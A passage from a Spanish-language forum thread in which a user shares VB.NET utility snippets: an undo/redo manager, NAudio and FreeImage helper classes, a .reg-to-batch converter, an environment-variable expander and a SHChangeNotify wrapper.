  263.        UndoRedoData = Control.SelectionRange
  264.    End Sub
  265.  
  266.    Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control, ByVal AUndoRedoData As SelectionRange)
  267.        MyBase.New(AUndoMonitor, AMonitorControl, AUndoRedoData)
  268.    End Sub
  269.  
  270.    Public ReadOnly Property Control() As MonthCalendar
  271.        Get
  272.            Return CType(UndoRedoControl, MonthCalendar)
  273.        End Get
  274.    End Property
  275.  
  276.    Public Overrides Sub Undo()
  277.        MyBase.Undo()
  278.        Control.SelectionRange = UndoRedoSelectionRange
  279.    End Sub
  280.  
  281.    Public Overrides Sub Redo()
  282.        MyBase.Redo()
  283.        Control.SelectionRange = UndoRedoSelectionRange
  284.    End Sub
  285.  
  286.    Public Overrides Function CommandAsText() As String
  287.        If Date.Equals(UndoRedoSelectionRange.Start, UndoRedoSelectionRange.End) Then
  288.            Return String.Format("Select date {0}", FormatDateTime(UndoRedoSelectionRange.Start, DateFormat.ShortDate))
  289.        Else
  290.        End If
  291.        Return String.Format("Change to '{0}'", String.Format("{0} until {1}", FormatDateTime(UndoRedoSelectionRange.Start, DateFormat.ShortDate), _
  292.                                                                               FormatDateTime(UndoRedoSelectionRange.End, DateFormat.ShortDate)))
  293.    End Function
  294.  
  295. End Class

2. Usarlo de esta manera:

Código
  1. Public Class Form1
  2.  
  3.    Private WithEvents frmUndoRedoManager As UndoRedoManager
  4.  
  5.    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  6.        frmUndoRedoManager = New UndoRedoManager(Me)
  7.    End Sub
  8.  
  9.    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
  10.        frmUndoRedoManager.Undo()
  11.    End Sub
  12.  
  13.    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
  14.        frmUndoRedoManager.Redo()
  15.    End Sub
  16.  
  17. End Class

Saludos.


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Julio 2013, 11:41 am
Una class para manejar Audios en la librería NAudio.

(Es algo corta, lo sé, no he experimentado más cosas que las que necesito de esta librería)

Código
  1. #Region " NAudio "
  2.  
  3. Public Class NAudio_Helper
  4.  
  5.    ' [ NAudio ]
  6.    '
  7.    ' // By Elektro H@cker
  8.    '
  9.    ' Instructions:
  10.    ' 1. Add a reference for the "NAudio.dll" file into the project.
  11.    '
  12.    ' Examples:
  13.    '
  14.    ' Dim Stream As NAudio.Wave.WaveFileReader = New NAudio.Wave.WaveFileReader(File)
  15.    '
  16.    ' Set_Volume(Stream, 0.5)
  17.    ' Play_Sound(Stream, 1)
  18.    ' Play_Sound(My.Resources.AudioFile)
  19.    ' Play_Sound("C:\File.wav")
  20.  
  21.  
  22.    ' Play Sound (File)
  23.    Private Sub Play_Sound(ByVal File As String, _
  24.                           Optional ByVal Volume As Single = Nothing)
  25.  
  26.        Dim Wave As New NAudio.Wave.WaveOut
  27.  
  28.        Select Case File.Split(".").Last.ToLower
  29.            Case "aiff"
  30.                Wave.Init(New NAudio.Wave.AiffFileReader(File))
  31.            Case "mp3"
  32.                Wave.Init(New NAudio.Wave.Mp3FileReader(File))
  33.            Case "wav"
  34.                Wave.Init(New NAudio.Wave.WaveFileReader(File))
  35.            Case Else
  36.                Wave.Init(New NAudio.Wave.BlockAlignReductionStream(NAudio.Wave.WaveFormatConversionStream.CreatePcmStream(New NAudio.Wave.AudioFileReader(File))))
  37.        End Select
  38.  
  39.        If Not Volume = Nothing Then Wave.Volume = Volume
  40.        Wave.Play()
  41.  
  42.    End Sub
  43.  
  44.    ' Play Sound (MemoryStream)
  45.    Private Sub Play_Sound(ByVal Stream As IO.MemoryStream, _
  46.                           Optional ByVal Volume As Single = Nothing)
  47.  
  48.        Dim Wave As New NAudio.Wave.WaveOut
  49.        Wave.Init(New NAudio.Wave.BlockAlignReductionStream(NAudio.Wave.WaveFormatConversionStream.CreatePcmStream(New NAudio.Wave.WaveFileReader(Stream))))
  50.        If Not Volume = Nothing Then Wave.Volume = Volume
  51.        Wave.Play()
  52.  
  53.    End Sub
  54.  
  55.    ' Play Sound (Unmanaged MemoryStream)
  56.    Private Sub Play_Sound(ByVal Stream As IO.UnmanagedMemoryStream, _
  57.                           Optional ByVal Volume As Single = Nothing)
  58.  
  59.        Dim Wave As New NAudio.Wave.WaveOut
  60.        Wave.Init(New NAudio.Wave.BlockAlignReductionStream(NAudio.Wave.WaveFormatConversionStream.CreatePcmStream(New NAudio.Wave.WaveFileReader(Stream))))
  61.        If Not Volume = Nothing Then Wave.Volume = Volume
  62.        Wave.Play()
  63.  
  64.    End Sub
  65.  
  66.    ' Play Sound (NAudio Stream)
  67.    Private Sub Play_Sound(ByVal NAudio_Stream As Object, _
  68.                           Optional ByVal Volume As Single = Nothing)
  69.  
  70.        Dim Wave As New NAudio.Wave.WaveOut
  71.        Wave.Init(NAudio_Stream)
  72.        If Not Volume = Nothing Then Wave.Volume = Volume
  73.        Wave.Play()
  74.  
  75.    End Sub
  76.  
  77.    ' Set Volume (NAudio Stream)
  78.    Private Function Set_Volume(ByVal NAudio_Stream As Object, ByVal Volume As Single) _
  79.    As NAudio.Wave.WaveOut
  80.  
  81.        Dim Wave As New NAudio.Wave.WaveOut
  82.        Wave.Init(NAudio_Stream)
  83.        Wave.Volume = Volume
  84.        Return Wave
  85.  
  86.    End Function
  87.  
  88. End Class
  89.  
  90. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 14 Julio 2013, 17:05 pm
He ideado esya función para convertir un archivo REG a un script BAT.

La verdad es que no me ha costado mucho, ya había desarrollado antes la manera de convertir usando Ruby y sólo he tenido que trasladar el código que hice y agregarle las mejoras de VBNET xD.


Código
  1.    #Region " Reg2Bat "
  2.  
  3.       ' [ Reg2Bat Function ]
  4.       '
  5.       ' // By Elektro H@cker
  6.       '
  7.       ' Examples :
  8.       ' MsgBox(Reg2Bat("C:\Registry.reg"))
  9.  
  10.    Private Function Reg2Bat(ByVal Reg_File As String) As String
  11.  
  12.        ' Source Input
  13.        ' Join he lines, delete the Regedit linebreaks characters: "\  ", and then split the lines.
  14.        Dim RegFile() As String = Split( _
  15.                                  String.Join("@@@Reg2Bat@@@", IO.File.ReadAllLines(Reg_File)) _
  16.                                  .Replace("\@@@Reg2Bat@@@  ", "") _
  17.                                  .Replace("@@@Reg2Bat@@@", Environment.NewLine), _
  18.                                  Environment.NewLine)
  19.  
  20.        Dim RegLine As String = String.Empty ' Where the Regedit Line will be stored.
  21.        Dim RegKey As String = String.Empty ' Where the Regedit Key will be stored.
  22.        Dim RegVal As String = String.Empty ' Where the Regedit Value will be stored.
  23.        Dim RegData As String = String.Empty ' Where the Regedit Data will be stored.
  24.  
  25.        Dim Batch_Commands As String = String.Empty ' Where the decoded Regedit strings will be stored.
  26.  
  27.        ' Check if first line of Reg File has a valid Regedit signature
  28.        For X As Int64 = 0 To RegFile.LongLength - 1
  29.  
  30.            RegLine = RegFile(X).Trim
  31.  
  32.            While RegLine = String.Empty
  33.                X += 1
  34.                RegLine = RegFile(X).Trim
  35.            End While
  36.  
  37.            If Not RegLine.ToLower = "windows registry editor version 5.00" Then
  38.                Throw New Exception("This is not a valid Regedit v5.00 script.")
  39.                Return Nothing
  40.            Else
  41.                Batch_Commands &= ":: Converted with REG2BAT By Elektro H@cker" & Environment.NewLine & Environment.NewLine
  42.                Batch_Commands &= String.Format("REM {0}", RegLine) & Environment.NewLine & Environment.NewLine
  43.                Exit For
  44.            End If
  45.  
  46.        Next
  47.  
  48.        ' Start reading the Regedit File
  49.        For X As Int64 = 0 To RegFile.LongLength - 1
  50.  
  51.            RegLine = RegFile(X).Trim
  52.  
  53.            Select Case True
  54.  
  55.                Case RegLine.StartsWith(";") ' Comment line
  56.  
  57.                    Batch_Commands &= Environment.NewLine
  58.                    Batch_Commands &= String.Format("REM {0}", RegLine.Substring(1, RegLine.Length - 1).Trim)
  59.                    Batch_Commands &= Environment.NewLine
  60.  
  61.                Case RegLine.StartsWith("[-") ' Key to delete
  62.  
  63.                    RegKey = RegLine.Substring(2, RegLine.Length - 3).Trim
  64.                    Batch_Commands &= String.Format("REG DELETE ""{0}"" /F", RegKey)
  65.                    Batch_Commands &= Environment.NewLine
  66.  
  67.                Case RegLine.StartsWith("[") ' Key to add
  68.  
  69.                    RegKey = RegLine.Substring(1, RegLine.Length - 2).Trim
  70.                    Batch_Commands &= String.Format("REG ADD ""{0}"" /F", RegKey)
  71.                    Batch_Commands &= Environment.NewLine
  72.  
  73.                Case RegLine.StartsWith("@=") ' Default Value to add
  74.  
  75.                    RegData = Split(RegLine, "@=", , CompareMethod.Text).Last
  76.                    Batch_Commands &= String.Format("REG ADD ""{0}"" /V  """" /D {1} /F", RegKey, RegData)
  77.                    Batch_Commands &= Environment.NewLine
  78.  
  79.                Case RegLine.StartsWith("""") _
  80.                AndAlso RegLine.Split("=").Last = "-"  ' Value to delete
  81.  
  82.                    RegVal = RegLine.Substring(1, RegLine.Length - 4)
  83.                    Batch_Commands &= String.Format("REG DELETE ""{0}"" /V ""{1}"" /F", RegKey, RegVal)
  84.                    Batch_Commands &= Environment.NewLine
  85.  
  86.                Case RegLine.StartsWith("""") ' Value to add
  87.  
  88.                    RegLine = RegLine.Replace("\\", "\") ' Replace Double "\\" to single "\".
  89.  
  90.                    ' Check data type:
  91.                    Select Case RegLine.Split("=")(1).Split(":")(0).ToLower
  92.  
  93.                        Case "hex" ' Binary
  94.  
  95.                            RegVal = Split(RegLine, "=hex:", , CompareMethod.Text)(0)
  96.                            RegData = Split(RegLine, (RegVal & "=hex:"), , CompareMethod.Text).Last.Replace(",", "")
  97.                            Batch_Commands &= String.Format("REG ADD ""{0}"" /V {1} /T ""REG_BINARY"" /D ""{2}"" /F", RegKey, RegVal, RegData)
  98.                            Batch_Commands &= Environment.NewLine
  99.  
  100.                        Case "dword" ' DWORD
  101.  
  102.                            RegVal = Split(RegLine, "=dword:", , CompareMethod.Text)(0)
  103.                            RegData = "0x" & Split(RegLine, (RegVal & "=dword:"), , CompareMethod.Text).Last
  104.                            Batch_Commands &= String.Format("REG ADD ""{0}"" /V {1} /T ""REG_DWORD"" /D ""{2}"" /F", RegKey, RegVal, RegData)
  105.                            Batch_Commands &= Environment.NewLine
  106.  
  107.                        Case "hex(b)" ' QWORD
  108.  
  109.                            Dim TempData As String = "0x"
  110.                            RegVal = Split(RegLine, "=hex(b):", , CompareMethod.Text)(0)
  111.                            RegData = StrReverse(Split(RegLine, (RegVal & "=hex(b):"), , CompareMethod.Text).Last)
  112.                            For Each [byte] In RegData.Split(",") : TempData &= StrReverse([byte]) : Next
  113.                            Batch_Commands &= String.Format("REG ADD ""{0}"" /V {1} /T ""REG_QWORD"" /D ""{2}"" /F", RegKey, RegVal, TempData)
  114.                            Batch_Commands &= Environment.NewLine
  115.  
  116.                        Case "hex(2)"  ' EXPAND SZ
  117.  
  118.                            Dim TempData As String = String.Empty
  119.                            RegVal = Split(RegLine, "=Hex(2):", , CompareMethod.Text)(0)
  120.                            RegData = Split(RegLine, (RegVal & "=hex(2):"), , CompareMethod.Text).Last.Replace(",00", "").Replace("00,", "")
  121.                            For Each [byte] In RegData.Split(",") : TempData &= Chr(Val("&H" & [byte])) : Next
  122.                            TempData = TempData.Replace("%", "%%").Replace("""", "\""")
  123.                            Batch_Commands &= String.Format("REG ADD ""{0}"" /V {1} /T ""REG_EXPAND_SZ"" /D ""{2}"" /F", RegKey, RegVal, TempData)
  124.                            Batch_Commands &= Environment.NewLine
  125.  
  126.                        Case "hex(7)" ' MULTI SZ
  127.  
  128.                            Dim TempData As String = String.Empty
  129.                            RegVal = Split(RegLine, "=Hex(7):", , CompareMethod.Text)(0)
  130.                            RegData = Split(RegLine, (RegVal & "=hex(7):"), , CompareMethod.Text).Last.Replace(",00,00,00", ",\0").Replace(",00", "").Replace("00,", "")
  131.  
  132.                            For Each [byte] In RegData.Split(",")
  133.  
  134.                                If [byte] = "\0" Then
  135.                                    TempData &= "\0" ' Line separator for multiline.
  136.                                Else
  137.                                    TempData &= Chr(Val("&H" & [byte]))
  138.                                End If
  139.  
  140.                            Next
  141.  
  142.                            TempData = TempData.Replace("%", "%%").Replace("""", "\""")
  143.                            Batch_Commands &= String.Format("REG ADD ""{0}"" /V {1} /T ""REG_MULTI_SZ"" /D ""{2}"" /F", RegKey, RegVal, TempData)
  144.                            Batch_Commands &= Environment.NewLine
  145.  
  146.                        Case Else ' REG SZ
  147.  
  148.                            RegVal = Split(RegLine, """=""", , CompareMethod.Text)(0)
  149.                            RegData = Split(RegLine, (RegVal & """="""), , CompareMethod.Text).Last
  150.                            Batch_Commands &= String.Format("REG ADD ""{0}"" /V {1}"" /T ""REG_SZ"" /D ""{2} /F", RegKey, RegVal, RegData)
  151.                            Batch_Commands &= Environment.NewLine
  152.  
  153.                    End Select
  154.  
  155.            End Select
  156.  
  157.        Next
  158.  
  159.        Return Batch_Commands
  160.  
  161.    End Function
  162.  
  163.    #End Region
  164.  


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Julio 2013, 06:26 am
· Expandir todas las variables de un string

PD: Útil para permitir al usuario manejar variables de entorno en la aplicación por ejemplo para setear una ruta, o cargar una ruta que contenga variables de entorno desde un archivo INI.

Código
  1. #Region " Expand Variables In String "
  2.  
  3.    ' [ Expand Variables In String Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Expand_Variables_In_String("%homedrive%\Users\%username%\%fake-var%\")) ' Result: C:\Users\Administrador\%fake-var%\
  9.  
  10.    Public Function Expand_Variables_In_String(ByVal str As String) As String
  11.  
  12.        Dim match As System.Text.RegularExpressions.Match = _
  13.        System.Text.RegularExpressions.Regex.Match(str, "(%.*%)")
  14.  
  15.        Do While match.Success
  16.            str = str.Replace(match.ToString, Environment.ExpandEnvironmentVariables(match.ToString))
  17.            match = match.NextMatch()
  18.        Loop
  19.  
  20.        Return str
  21.  
  22.    End Function
  23.  
  24. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 20 Julio 2013, 10:56 am
Una class de ayuda para manejar lo básico de la librería FreeImage

Convertir entre formatos, convertir a escala de grises, rotar, redimensionar, generar un thumbnail...

http://freeimage.sourceforge.net/download.html

Código
  1. #Region " FreeImage Helper "
  2.  
  3.  
  4. ' [ FreeImage Helper ]
  5. '
  6. ' // By Elektro H@cker
  7. '
  8. '
  9. ' INSTRUCTIONS:
  10. ' 1. ADD A REFERENCE FOR "FreeImageNET.dll" IN THE PROJECT.
  11. ' 2. ADD THE "FREEIMAGE.DLL" IN THE PROJECT.
  12. '
  13. '
  14. ' Examples :
  15. '
  16. ' MsgBox(FreeImageHelper.Is_Avaliable() ' Result: True
  17. ' MsgBox(FreeImageHelper.Get_Version()  ' Result: 3.15.1
  18. ' MsgBox(FreeImageHelper.Get_ImageFormat("C:\Test.png")) ' Result: PNG
  19. '
  20. ' FreeImageHelper.Convert("C:\Test.png", "C:\Test.ico", FreeImageAPI.FREE_IMAGE_FORMAT.FIF_ICO)
  21. ' FreeImageHelper.Convert(New Bitmap("C:\Test.png"), "C:\Test.jpg", FreeImageAPI.FREE_IMAGE_FORMAT.FIF_JPEG, FreeImageAPI.FREE_IMAGE_SAVE_FLAGS.JPEG_SUBSAMPLING_444 Or FreeImageAPI.FREE_IMAGE_SAVE_FLAGS.JPEG_QUALITYSUPERB)
  22. '
  23. ' PictureBox1.BackgroundImage = FreeImageHelper.GrayScale(New Bitmap("C:\Test.bmp"))
  24. ' PictureBox1.BackgroundImage = FreeImageHelper.GrayScale("C:\Test.bmp")
  25. '
  26. ' PictureBox1.BackgroundImage = FreeImageHelper.Resize(New Bitmap("C:\Test.bmp"), 32, 32)
  27. ' PictureBox1.BackgroundImage = FreeImageHelper.Resize("C:\Test.bmp", 64, 128)
  28. '
  29. ' PictureBox1.BackgroundImage = FreeImageHelper.Rotate(New Bitmap("C:\Test.bmp"), 90)
  30. ' PictureBox1.BackgroundImage = FreeImageHelper.Rotate("C:\Test.bmp", -90)
  31. '
  32. ' PictureBox1.BackgroundImage = FreeImageHelper.Thumbnail(New Bitmap("C:\Test.png"), 64, True)
  33. ' PictureBox1.BackgroundImage = FreeImageHelper.Thumbnail("C:\Test.png", 64, True)
  34.  
  35.  
  36.  
  37. Imports FreeImageAPI
  38.  
  39. Public Class FreeImageHelper
  40.  
  41.    ' <summary>
  42.    ' Checks if <i>FreeImage.dll</i> is avaliable on the system.
  43.    ' </summary>
  44.    Public Shared Function Is_Avaliable() As Boolean
  45.        Return FreeImage.IsAvailable
  46.    End Function
  47.  
  48.    ' <summary>
  49.    ' Gets the version of FreeImage.dll.
  50.    ' </summary>
  51.    Shared Function Get_Version() As String
  52.        Return FreeImage.GetVersion
  53.    End Function
  54.  
  55.    ' <summary>
  56.    ' Gets the image format of a image file.
  57.    ' </summary>
  58.    Shared Function Get_ImageFormat(ByVal File As String) As String
  59.        Return FreeImage.GetFileType(File, 0).ToString.Substring(4)
  60.    End Function
  61.  
  62.    ' <summary>
  63.    ' Convert a Bitmap object between image formats and save it to disk.
  64.    ' </summary>
  65.    Shared Sub Convert(ByVal bmp As System.Drawing.Bitmap, _
  66.                       ByVal Output As String, _
  67.                       ByVal NewFormat As FREE_IMAGE_FORMAT, _
  68.                       Optional ByVal SaveFlags As FREE_IMAGE_SAVE_FLAGS = FREE_IMAGE_SAVE_FLAGS.DEFAULT)
  69.  
  70.        Try
  71.            FreeImage.SaveBitmap(bmp, Output, NewFormat, SaveFlags)
  72.        Catch ex As Exception
  73.            ' Throw New Exception(ex.Message)
  74.            MsgBox(ex.Message)
  75.        End Try
  76.  
  77.    End Sub
  78.  
  79.    ' <summary>
  80.    ' Convert a image file between image formats and save it to disk.
  81.    ' </summary>
  82.    Shared Sub Convert(ByVal File As String, _
  83.                       ByVal Output As String, _
  84.                       ByVal NewFormat As FREE_IMAGE_FORMAT, _
  85.                       Optional ByVal SaveFlags As FREE_IMAGE_SAVE_FLAGS = FREE_IMAGE_SAVE_FLAGS.DEFAULT)
  86.  
  87.        Try
  88.            FreeImage.Save(NewFormat, FreeImage.LoadEx(File), Output, SaveFlags)
  89.        Catch ex As Exception
  90.            ' Throw New Exception(ex.Message)
  91.            MsgBox(ex.Message)
  92.        End Try
  93.  
  94.    End Sub
  95.  
  96.    ' <summary>
  97.    ' GrayScales a Bitmap object.
  98.    ' </summary>
  99.    Shared Function GrayScale(ByVal bmp As System.Drawing.Bitmap) As System.Drawing.Bitmap
  100.  
  101.        Try
  102.  
  103.            Dim ImageStream As New System.IO.MemoryStream
  104.            bmp.Save(ImageStream, bmp.RawFormat)
  105.  
  106.            Dim Image As FIBITMAP = FreeImage.LoadFromStream(ImageStream)
  107.            ImageStream.Dispose()
  108.  
  109.            Return FreeImage.GetBitmap(FreeImage.ConvertToGreyscale(Image))
  110.  
  111.        Catch ex As Exception
  112.            ' Throw New Exception(ex.Message)
  113.            MsgBox(ex.Message)
  114.            Return Nothing
  115.        End Try
  116.  
  117.    End Function
  118.  
  119.    ' <summary>
  120.    ' GrayScales a image file.
  121.    ' </summary>
  122.    Shared Function GrayScale(ByVal File As String) As System.Drawing.Bitmap
  123.  
  124.        Try
  125.            Return FreeImage.GetBitmap(FreeImage.ConvertToGreyscale(FreeImage.LoadEx(File)))
  126.        Catch ex As Exception
  127.            ' Throw New Exception(ex.Message)
  128.            MsgBox(ex.Message)
  129.            Return Nothing
  130.        End Try
  131.  
  132.    End Function
  133.  
  134.    ' <summary>
  135.    ' Resizes a Bitmap object.
  136.    ' </summary>
  137.    Shared Function Resize(ByVal bmp As System.Drawing.Bitmap, _
  138.                           ByVal X As Int32, _
  139.                           ByVal Y As Int32, _
  140.                           Optional ByVal Quality As FREE_IMAGE_FILTER = FREE_IMAGE_FILTER.FILTER_BILINEAR) As System.Drawing.Bitmap
  141.  
  142.        Try
  143.  
  144.            Dim ImageStream As New System.IO.MemoryStream
  145.            bmp.Save(ImageStream, bmp.RawFormat)
  146.  
  147.            Dim Image As FIBITMAP = FreeImage.LoadFromStream(ImageStream)
  148.            ImageStream.Dispose()
  149.  
  150.            Return FreeImage.GetBitmap(FreeImage.Rescale(Image, X, Y, Quality))
  151.  
  152.        Catch ex As Exception
  153.            ' Throw New Exception(ex.Message)
  154.            MsgBox(ex.Message)
  155.            Return Nothing
  156.        End Try
  157.  
  158.    End Function
  159.  
  160.    ' <summary>
  161.    ' Resizes a image file.
  162.    ' </summary>
  163.    Shared Function Resize(ByVal File As String, _
  164.                           ByVal X As Int32, _
  165.                           ByVal Y As Int32, _
  166.                           Optional ByVal Quality As FREE_IMAGE_FILTER = FREE_IMAGE_FILTER.FILTER_BILINEAR) As System.Drawing.Bitmap
  167.  
  168.        Try
  169.  
  170.            Return FreeImage.GetBitmap(FreeImage.Rescale(FreeImage.LoadEx(File), X, Y, Quality))
  171.  
  172.        Catch ex As Exception
  173.            ' Throw New Exception(ex.Message)
  174.            MsgBox(ex.Message)
  175.            Return Nothing
  176.        End Try
  177.  
  178.    End Function
  179.  
  180.    ' <summary>
  181.    ' Rotates a Bitmap object.
  182.    ' </summary>
  183.    Shared Function Rotate(ByVal bmp As System.Drawing.Bitmap, _
  184.                           ByVal Angle As Double) As System.Drawing.Bitmap
  185.  
  186.        Try
  187.  
  188.            Dim ImageStream As New System.IO.MemoryStream
  189.            bmp.Save(ImageStream, bmp.RawFormat)
  190.  
  191.            Dim Image As FIBITMAP = FreeImage.LoadFromStream(ImageStream)
  192.            ImageStream.Dispose()
  193.  
  194.            Return FreeImage.GetBitmap(FreeImage.Rotate(Image, Angle))
  195.  
  196.        Catch ex As Exception
  197.            ' Throw New Exception(ex.Message)
  198.            MsgBox(ex.Message)
  199.            Return Nothing
  200.        End Try
  201.  
  202.    End Function
  203.  
  204.    ' <summary>
  205.    ' Rotates a image file.
  206.    ' </summary>
  207.    Shared Function Rotate(ByVal File As String, _
  208.                           ByVal Angle As Double) As System.Drawing.Bitmap
  209.  
  210.        Try
  211.  
  212.            Return FreeImage.GetBitmap(FreeImage.Rotate(FreeImage.LoadEx(File), Angle))
  213.  
  214.        Catch ex As Exception
  215.            ' Throw New Exception(ex.Message)
  216.            MsgBox(ex.Message)
  217.            Return Nothing
  218.        End Try
  219.  
  220.    End Function
  221.  
  222.    ' <summary>
  223.    ' Returns a Thumbnail of a Bitmap object.
  224.    ' </summary>
  225.    Shared Function Thumbnail(ByVal bmp As System.Drawing.Bitmap, _
  226.                                   ByVal size As Int32, _
  227.                                   ByVal convert As Boolean) As System.Drawing.Bitmap
  228.  
  229.        Try
  230.  
  231.            Dim ImageStream As New System.IO.MemoryStream
  232.            bmp.Save(ImageStream, bmp.RawFormat)
  233.  
  234.            Dim Image As FIBITMAP = FreeImage.LoadFromStream(ImageStream)
  235.            ImageStream.Dispose()
  236.  
  237.            Return FreeImage.GetBitmap(FreeImage.MakeThumbnail(Image, size, convert))
  238.  
  239.        Catch ex As Exception
  240.            ' Throw New Exception(ex.Message)
  241.            MsgBox(ex.Message)
  242.            Return Nothing
  243.        End Try
  244.  
  245.    End Function
  246.  
  247.    ' <summary>
  248.    ' Returns a Thumbnail of a image file.
  249.    ' </summary>
  250.    Shared Function Thumbnail(ByVal File As String, _
  251.                                   ByVal size As Int32, _
  252.                                   ByVal convert As Boolean) As System.Drawing.Bitmap
  253.  
  254.        Try
  255.            Return FreeImage.GetBitmap(FreeImage.MakeThumbnail(FreeImage.LoadEx(File), size, convert))
  256.        Catch ex As Exception
  257.            ' Throw New Exception(ex.Message)
  258.            MsgBox(ex.Message)
  259.            Return Nothing
  260.        End Try
  261.  
  262.    End Function
  263.  
  264. End Class
  265.  
  266. #End Region





Informa a Windows de cambios en el sistema para refrescar el sistema.

Código
  1. #Region " System Notifier "
  2.  
  3. ' [ System Notifier ]
  4. '
  5. ' Examples :
  6. '
  7. ' SystemNotifier.Notify(SystemNotifier.EventID.FileAssociation_Changed, SystemNotifier.NotifyFlags.DWORD, IntPtr.Zero, IntPtr.Zero)
  8.  
  9. Public Class SystemNotifier
  10.  
  11.    <System.Runtime.InteropServices.DllImport("shell32.dll")> _
  12.    Shared Sub SHChangeNotify( _
  13.        ByVal wEventID As EventID, _
  14.        ByVal uFlags As NotifyFlags, _
  15.        ByVal dwItem1 As IntPtr, _
  16.        ByVal dwItem2 As IntPtr)
  17.    End Sub
  18.  
  19.    Shared Sub Notify(ByVal wEventID As EventID, ByVal uFlags As NotifyFlags, ByVal dwItem1 As IntPtr, ByVal dwItem2 As IntPtr)
  20.        SHChangeNotify(wEventID, uFlags, dwItem1, dwItem2)
  21.    End Sub
  22.  
  23.    <Flags()> _
  24.    Public Enum NotifyFlags
  25.  
  26.        ' <summary>
  27.        ' The <i>dwItem1</i> and <i>dwItem2</i> parameters are DWORD values.
  28.        ' </summary>
  29.        DWORD = &H3
  30.  
  31.        ' <summary>
  32.        ' <i>dwItem1</i> and <i>dwItem2</i> are the addresses of ItemIDList structures,
  33.        ' that represent the item(s) affected by the change.
  34.        ' Each ItemIDList must be relative to the desktop folder.
  35.        ' </summary>
  36.        ItemIDList = &H0
  37.  
  38.        ' <summary>
  39.        ' <i>dwItem1</i> and <i>dwItem2</i> are the addresses of null-terminated strings,
  40.        ' of maximum length MAX_PATH that contain the full path names of the items affected by the change.
  41.        ' </summary>
  42.        PathA = &H1
  43.  
  44.        ' <summary>
  45.        ' <i>dwItem1</i> and <i>dwItem2</i> are the addresses of null-terminated strings,
  46.        ' of maximum length MAX_PATH that contain the full path names of the items affected by the change.
  47.        ' </summary>
  48.        PathW = &H5
  49.  
  50.        ' <summary>
  51.        ' <i>dwItem1</i> and <i>dwItem2</i> are the addresses of null-terminated strings,
  52.        ' that represent the friendly names of the printer(s) affected by the change.
  53.        ' </summary>
  54.        PrinterA = &H2
  55.  
  56.        ' <summary>
  57.        ' <i>dwItem1</i> and <i>dwItem2</i> are the addresses of null-terminated strings,
  58.        ' that represent the friendly names of the printer(s) affected by the change.
  59.        ' </summary>
  60.        PrinterW = &H6
  61.  
  62.        ' <summary>
  63.        ' The function should not return until the notification has been delivered to all affected components.
  64.        ' As this flag modifies other data-type flags it cannot by used by itself.
  65.        ' </summary>
  66.        Flush = &H1000
  67.  
  68.        ' <summary>
  69.        ' The function should begin delivering notifications to all affected components,
  70.        ' but should return as soon as the notification process has begun.
  71.        ' As this flag modifies other data-type flags it cannot by used by itself.
  72.        ' </summary>
  73.        FlushNoWait = &H2000
  74.  
  75.    End Enum
  76.  
  77.    <Flags()> _
  78.    Public Enum EventID
  79.  
  80.        ' <summary>
  81.        ' All events have occurred.
  82.        ' </summary>
  83.        All_Events = &H7FFFFFFF
  84.  
  85.        ' <summary>
  86.        ' A folder has been created.
  87.        ' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
  88.        ' <i>dwItem1</i> contains the folder that was created.
  89.        ' <i>dwItem2</i> is not used and should be <see langword="null"/>.
  90.        ' </summary>
  91.        Directory_Created = &H8
  92.  
  93.        ' <summary>
  94.        ' A folder has been removed.
  95.        ' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
  96.        ' <i>dwItem1</i> contains the folder that was removed.
  97.        ' <i>dwItem2</i> is not used and should be <see langword="null"/>.
  98.        ' </summary>
  99.        Directory_Deleted = &H10
  100.  
  101.        ' <summary>
  102.        ' The name of a folder has changed.
  103.        ' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
  104.        ' <i>dwItem1</i> contains the previous pointer to an item identifier list (PIDL) or name of the folder.
  105.        ' <i>dwItem2</i> contains the new PIDL or name of the folder.
  106.        ' </summary>
  107.        Directory_Renamed = &H20000
  108.  
  109.        ' <summary>
  110.        ' A nonfolder item has been created.
  111.        ' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
  112.        ' <i>dwItem1</i> contains the item that was created.
  113.        ' <i>dwItem2</i> is not used and should be <see langword="null"/>.
  114.        ' </summary>
  115.        Item_Created = &H2
  116.  
  117.        ' <summary>
  118.        ' A nonfolder item has been deleted.
  119.        ' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
  120.        ' <i>dwItem1</i> contains the item that was deleted.
  121.        ' <i>dwItem2</i> is not used and should be <see langword="null"/>.
  122.        ' </summary>
  123.        Item_Deleted = &H4
  124.  
  125.        ' <summary>
  126.        ' The name of a nonfolder item has changed.
  127.        ' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
  128.        ' <i>dwItem1</i> contains the previous PIDL or name of the item.
  129.        ' <i>dwItem2</i> contains the new PIDL or name of the item.
  130.        ' </summary>
  131.        Item_Renamed = &H1
  132.  
  133.        ' <summary>
  134.        ' A drive has been added.
  135.        ' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
  136.        ' <i>dwItem1</i> contains the root of the drive that was added.
  137.        ' <i>dwItem2</i> is not used and should be <see langword="null"/>.
  138.        ' </summary>
  139.        Drive_Added = &H100
  140.  
  141.        ' <summary>
  142.        ' A drive has been added and the Shell should create a new window for the drive.
  143.        ' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
